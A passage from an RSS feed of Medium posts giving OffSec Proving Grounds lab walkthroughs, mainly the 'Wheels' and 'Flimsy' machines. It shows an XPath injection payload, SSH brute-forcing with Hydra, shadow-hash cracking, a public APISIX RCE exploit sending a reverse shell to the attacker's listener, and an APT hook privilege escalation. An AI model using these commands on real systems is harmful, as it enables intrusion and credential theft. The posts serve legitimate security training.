directory when exploring for a foothold for escalation.</p><p>Thank you for reading!</p><p>I hope this walkthrough helps, stay ethical, and happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8f3f22de19d0" width="1" height="1" alt=""><hr><p><a href="https://meetcyber.net/proving-grounds-practice-robust-8f3f22de19d0">Proving Grounds — Practice — Robust</a> was originally published in <a href="https://meetcyber.net/">MeetCyber</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds — Practice — Wheels]]></title>
            <link>https://meetcyber.net/proving-grounds-practice-wheels-ec2758e0ac53?source=rss-c3ac18390674------2</link>
            <guid isPermaLink="false">https://medium.com/p/ec2758e0ac53</guid>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Makoyi]]></dc:creator>
            <pubDate>Thu, 05 Mar 2026 01:03:43 GMT</pubDate>
            <atom:updated>2026-03-05T08:39:48.811Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*-DYYN18-vUvIb13l4JsGng.jpeg" /><figcaption>AI image created by <a href="https://deepai.org/machine-learning-model/hologram-3d-generator">https://deepai.org/machine-learning-model/hologram-3d-generator</a></figcaption></figure><p>Proving Grounds box Wheels is rated easy by Offsec, but the community rates it as very hard. I found the box challenging, like the rest of the community. I wasn’t very familiar with XPATH Injection before attempting this box, so it was interesting to learn something new.</p><p>— NMAP Scan</p><pre>makoyi@kali [~] <br>❯ sudo nmap -Pn -n 192.168.224.202 -sC -sV -p- --open<br>[sudo] password for makoyi: <br>Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-04 16:39 -0600<br>Nmap scan report for 192.168.224.202<br>Host is up (0.072s latency).<br>Not shown: 65529 closed tcp ports (reset), 4 filtered tcp ports (no-response)<br>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit<br>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   3072 c1:99:4b:95:22:25:ed:0f:85:20:d3:63:b4:48:bb:cf (RSA)<br>|   256 0f:44:8b:ad:ad:95:b8:22:6a:f0:36:ac:19:d0:0e:f3 (ECDSA)<br>|_  256 32:e1:2a:6c:cc:7c:e6:3e:23:f4:80:8d:33:ce:9b:3a (ED25519)<br>80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))<br>|_http-title: Wheels - Car Repair Services<br>|_http-server-header: Apache/2.4.41 (Ubuntu)<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 34.40 seconds</pre><p>Only ports 22 and 80 are open, and typically exploits for ssh are far and few between, so we focus on port 80 to start.</p><p>Upon opening the web page, we are greeted with a website for a car repair service with a login, register, and employee portal link at the top right of the page.</p><p>After exploring around the website, I discovered that the register form does not sanitize the email form, and at the bottom of the home page, we see some syntax for what an employee email would look like.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/264/1*3pbXc3-T3EPxnfTzgOCdvw.png" /></figure><p>Using that, we create a new user, with the employee email, and gain access to the employee portal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/1*evTJhMYr5UacCR0hOU-btA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bfC4iL5FLDxDWgeyL_VpaQ.png" /></figure><p>Using the search function on the webpage shows users, but other than that, there wasn’t much more I could do. From here, I opened burp suite to see what we could intercept from the inquiries.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RfL9qw6MfJ_uOzdRBXzBVA.png" /></figure><p>While testing different search parameters, I discovered that when a different input from cars or bikes, the response returned XML Error. Looking up different vulnerabilities online, I found XML injection was the primary vulnerability. When I find a vulnerability that I’m not too familiar with, I usually will check hacktricks, and luckily there was a page dedicated to just that.</p><p><a href="https://book.hacktricks.wiki/en/pentesting-web/xpath-injection.html">XPATH injection</a></p><p>I tried quite a few of the different options off of hacktricks until I found one that worked.</p><pre>&#39;)]+|+//password%00</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vzb1BHofEbfAuJpAlLb8iw.png" /></figure><p>Now that we have passwords, we make a list of the users and of the passwords and run it through hydra to see which one will allow us to log in to ssh.</p><pre>makoyi@kali [~] <br>❯ hydra -L users -P pass ssh://192.168.224.202<br>Hydra v9.6 (c) 2023 by van Hauser/THC &amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).<br><br>Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-03-04 17:52:38<br>[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4<br>[DATA] max 16 tasks per 1 server, overall 16 tasks, 21 login tries (l:3/p:7), ~2 tries per task<br>[DATA] attacking ssh://192.168.224.202:22/<br>[22][ssh] host: 192.168.224.202   login: bob   password: Iamrockinginmyroom1212<br>1 of 1 target successfully completed, 1 valid password found<br>Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-03-04 17:52:46</pre><p>Now we log into the account bob and find the first flag in bob’s home directory.</p><pre>makoyi@kali [~] <br>❯ ssh bob@192.168.224.202                            <br>The authenticity of host &#39;192.168.224.202 (192.168.224.202)&#39; can&#39;t be established.<br>ED25519 key fingerprint is: SHA256:D9EwlP6OBofTctv3nJ2YrEmwQrTfB9lLe4l8CqvcVDI<br>This host key is known by the following other names/addresses:<br>    ~/.ssh/known_hosts:116: [hashed name]<br>    ~/.ssh/known_hosts:118: [hashed name]<br>    ~/.ssh/known_hosts:123: [hashed name]<br>Are you sure you want to continue connecting (yes/no/[fingerprint])? yes<br>Warning: Permanently added &#39;192.168.224.202&#39; (ED25519) to the list of known hosts.<br>** WARNING: connection is not using a post-quantum key exchange algorithm.<br>** This session may be vulnerable to &quot;store now, decrypt later&quot; attacks.<br>** The server may need to be upgraded. See https://openssh.com/pq.html<br>bob@192.168.224.202&#39;s password: <br>Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-122-generic x86_64)<br><br> * Documentation:  https://help.ubuntu.com<br> * Management:     https://landscape.canonical.com<br> * Support:        https://ubuntu.com/advantage<br><br>  System information as of Wed 04 Mar 2026 11:55:27 PM UTC<br><br>  System load:  0.01              Processes:               212<br>  Usage of /:   75.4% of 9.74GB   Users logged in:         0<br>  Memory usage: 30%               IPv4 address for ens160: 192.168.224.202<br>  Swap usage:   0%<br><br><br>287 updates can be applied immediately.<br>211 of these updates are standard security updates.<br>To see these additional updates run: apt list --upgradable<br><br>Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings<br><br><br>Last login: Tue May 17 19:22:53 2022 from 192.168.118.14<br>$ script /dev/null -c /bin/bash<br>Script started, file is /dev/null<br>bob@wheels:~$ cat local.txt</pre><p>The first thing I did was upload linpeas and run it, to see if there’s any low hanging fruit that can be exploited. The first thing that caught my eye was the SUID permissions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*dH8CSSYZh-e7TQbjcT6h8g.png" /></figure><p>Linpeas not recognizing the SUID binary for /opt/get-list, that’s a pretty good indicator that that is our path for privilege escalation.</p><p>Executing /opt/get-list asks which list you’d like to open, customers or employees. The fact that it asks which list to open, made me think that it reads files, and if I could make it read a file other than the two provided. After testing the parameters of the get-list function, I found that it will read /etc/passwd if given the correct syntax.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*fTwm2_tFNexdYkhBjI9gbQ.png" /></figure><p>Since it would open /etc/passwd, I thought maybe I could get lucky and it would open /etc/shadow as well, and turns out, it will do just that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*Hdd9-tuB9dKtEQytDUu-Ig.png" /></figure><p>Now all we need to do is crack the hash, and for easier hashes like this, I typically go to John the Ripper.</p><pre>makoyi@kali [~] <br>❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash <br>Warning: detected hash type &quot;sha512crypt&quot;, but the string is also recognized as &quot;HMAC-SHA256&quot;<br>Use the &quot;--format=HMAC-SHA256&quot; option to force loading these as that type instead<br>Using default input encoding: UTF-8<br>Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])<br>Cost 1 (iteration count) is 5000 for all loaded hashes<br>Will run 4 OpenMP threads<br>Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status<br>highschoolmusical (?)     <br>1g 0:00:00:00 DONE (2026-03-04 18:10) 1.123g/s 7478p/s 7478c/s 7478C/s horoscope..aditya<br>Use the &quot;--show&quot; option to display all of the cracked passwords reliably<br>Session completed.</pre><p>Now just use the password to switch to root, and find the flag in the /root directory.</p><p>Thanks for reading!</p><p>I hope this walkthrough helps, stay ethical, and happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ec2758e0ac53" width="1" height="1" alt=""><hr><p><a href="https://meetcyber.net/proving-grounds-practice-wheels-ec2758e0ac53">Proving Grounds — Practice — Wheels</a> was originally published in <a href="https://meetcyber.net/">MeetCyber</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds — Practice — Flimsy]]></title>
            <link>https://cybersecuritywriteups.com/proving-grounds-practice-flimsy-12cecfedb257?source=rss-c3ac18390674------2</link>
            <guid isPermaLink="false">https://medium.com/p/12cecfedb257</guid>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Makoyi]]></dc:creator>
            <pubDate>Wed, 04 Mar 2026 05:00:42 GMT</pubDate>
            <atom:updated>2026-03-04T05:00:42.480Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*rT2bw5t16lLnF0owdxw-NQ.jpeg" /><figcaption>AI image created with <a href="https://deepai.org/machine-learning-model/hologram-3d-generator">https://deepai.org/machine-learning-model/hologram-3d-generator</a></figcaption></figure><p>Flimsy is rated easy by offsec, but rated intermediate by the community. I found the machine straightforward and on the easier side. The machine focuses on a abusing an API Gateway with privilege escalation through mis-configured APT files tied to a root executedcron job.</p><p>— NMAP scan</p><pre>makoyi@kali [~] <br>❯ sudo nmap -Pn -n 192.168.220.220 -sC -sV -p- --open<br>[sudo] password for makoyi: <br>Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-03 14:33 -0600<br>Nmap scan report for 192.168.220.220<br>Host is up (0.081s latency).<br>Not shown: 65345 filtered tcp ports (no-response), 185 filtered tcp ports (host-prohibited), 1 closed tcp port (reset)<br>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit<br>PORT      STATE SERVICE VERSION<br>22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)<br>|   256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)<br>|_  256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)<br>80/tcp    open  http    nginx 1.18.0 (Ubuntu)<br>|_http-server-header: nginx/1.18.0 (Ubuntu)<br>|_http-title: Upright<br>3306/tcp  open  mysql   MySQL (unauthorized)<br>43500/tcp open  http    OpenResty web app server<br>|_http-server-header: APISIX/2.8<br>|_http-title: Site doesn&#39;t have a title (text/plain; charset=utf-8).<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 189.67 seconds</pre><p>Port 43500 being open is an interesting find. Here, before I went to the internet for more information, I ran a quick searchploit and got a hit for an RCE vulnerability.</p><pre>makoyi@kali [~] <br>❯ searchsploit &quot;APISIX&quot;      <br>---------------------------------------------------------------------------------- ---------------------------------<br> Exploit Title                                                                    |  Path<br>---------------------------------------------------------------------------------- ---------------------------------<br>Apache APISIX 2.12.1 - Remote Code Execution (RCE)                                | multiple/remote/50829.py<br>---------------------------------------------------------------------------------- ---------------------------------<br>Shellcodes: No Results<br>makoyi@kali [~] <br>❯ searchsploit -m 50829.py<br>  Exploit: Apache APISIX 2.12.1 - Remote Code Execution (RCE)<br>      URL: https://www.exploit-db.com/exploits/50829<br>     Path: /usr/share/exploitdb/exploits/multiple/remote/50829.py<br>    Codes: CVE-2022-24112<br> Verified: False<br>File Type: Python script, Unicode text, UTF-8 text executable<br>Copied to: /home/makoyi/50829.py</pre><p>Any time I download a python code, I always start a virtual environment, just to circumvent any dependency issues.</p><pre>makoyi@kali [~] <br>❯ source myenv/bin/activate                                   <br>(myenv) makoyi@kali [~] <br>❯ python3 50829.py -h                <br>/home/makoyi/50829.py:29: SyntaxWarning: invalid escape sequence &#39;\.&#39;<br>  _.._ * __*\./ ___  _ \./._ | _ *-+-<br><br>                                   .     ,<br>        _.._ * __*\./ ___  _ \./._ | _ *-+-<br>       (_][_)|_) |/&#39;\     (/,/&#39;\[_)|(_)| |<br>          |                     |<br><br>                (CVE-2022-24112)                                                                                    <br>{ Coded By: Ven3xy  | Github: https://github.com/M4xSec/ }                                                          <br>                                                                                                                    <br>                                                                                                                    <br>[!] Usage   : ./apisix-exploit.py &lt;target_url&gt; &lt;lhost&gt; &lt;lport&gt;</pre><p>Based on the output of the flag -h, we have some parameters we need to fill out. Here, I start a listener on port 1337 using netcat and fill the parameters out and grab a reverse shell with the user franklin, finding the first flag in the home directory.</p><pre>(myenv) makoyi@kali [~] <br>❯ python3 50829.py http://192.168.220.220:43500/ 192.168.45.XXX 1337<br><br>makoyi@kali [~] <br>❯ rlwrap -cAr nc -lvnp 1337<br>listening on [any] 1337 ...<br>connect to [192.168.45.XXX] from (UNKNOWN) [192.168.220.220] 42986<br>id<br>uid=65534(franklin) gid=65534(nogroup) groups=65534(nogroup)<br>script /dev/null -c /bin/bash<br>Script started, file is /dev/null<br><br>franklin@flimsy:/root$ cat /home/franklin/local.txt</pre><p>Now that we have a basic user, I uploaded linpeas into the /tmp folder and ran a scan before I manually enumerated anything to see if there was any low hanging fruit I could grab quickly.</p><p>There was two portions of the scan that seemed like a good path to use. The first showed that there was a cron job being run by root using apt-get.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*XR0j0stb-wfbrHwJ4XzHgA.png" /></figure><p>The second was that we had write permission to /etc/apt/apt.conf.d, which if abused will lead to privilege escalation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*MtS1-YF2eNxBjZjVTb8oKA.png" /></figure><p>A quick google search lead to me to how to take advantage of this being world writable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*sk2co89Oy8UoOn7nOPapvA.png" /></figure><pre>echo &#39;APT::Update::Post-Invoke {&quot;chmod +s /bin/bash&quot;;};&#39; &gt; /etc/apt/apt.conf.d/99-privesc</pre><p>By following the steps found by google, I changed the SUID permissions of /bin/bash for franklin, allowing the profile to grab the flag off of the root directory.</p><pre>franklin@flimsy:/tmp$ cd /etc/apt/apt.conf.d<br>cd /etc/apt/apt.conf.d<br>franklin@flimsy:/etc/apt/apt.conf.d$ ls<br>ls<br>01-vendor-ubuntu  20apt-esm-hook.conf  20snapd.conf           99update-notifier<br>01autoremove      20archive            50command-not-found<br>10periodic        20auto-upgrades      50unattended-upgrades<br>15update-stamp    20packagekit         70debconf<br>franklin@flimsy:/etc/apt/apt.conf.d$ echo &#39;APT::Update::Post-Invoke {&quot;chmod +s /bin/bash&quot;;};&#39; &gt; /etc/apt/apt.conf.d/99-privesc<br>&lt; +s /bin/bash&quot;;};&#39; &gt; /etc/apt/apt.conf.d/99-privesc<br>franklin@flimsy:/etc/apt/apt.conf.d$ ls<br>ls<br>01-vendor-ubuntu  20apt-esm-hook.conf  20snapd.conf           99-privesc<br>01autoremove      20archive            50command-not-found    99update-notifier<br>10periodic        20auto-upgrades      50unattended-upgrades<br>15update-stamp    20packagekit         70debconf<br>franklin@flimsy:/etc/apt/apt.conf.d$ bash -p<br>bash -p<br>bash-5.0# id<br>id<br>uid=65534(franklin) gid=65534(nogroup) euid=0(root) egid=0(root) groups=0(root),65534(nogroup)<br>bash-5.0# cat /root/proof.txt<br>cat /root/proof.txt</pre><p>Thank you for reading!</p><p>I hope this walkthrough helps, stay ethical, and happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=12cecfedb257" width="1" height="1" alt=""><hr><p><a href="https://cybersecuritywriteups.com/proving-grounds-practice-flimsy-12cecfedb257">Proving Grounds — Practice — Flimsy</a> was originally published in <a href="https://cybersecuritywriteups.com/">Cyber Security Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>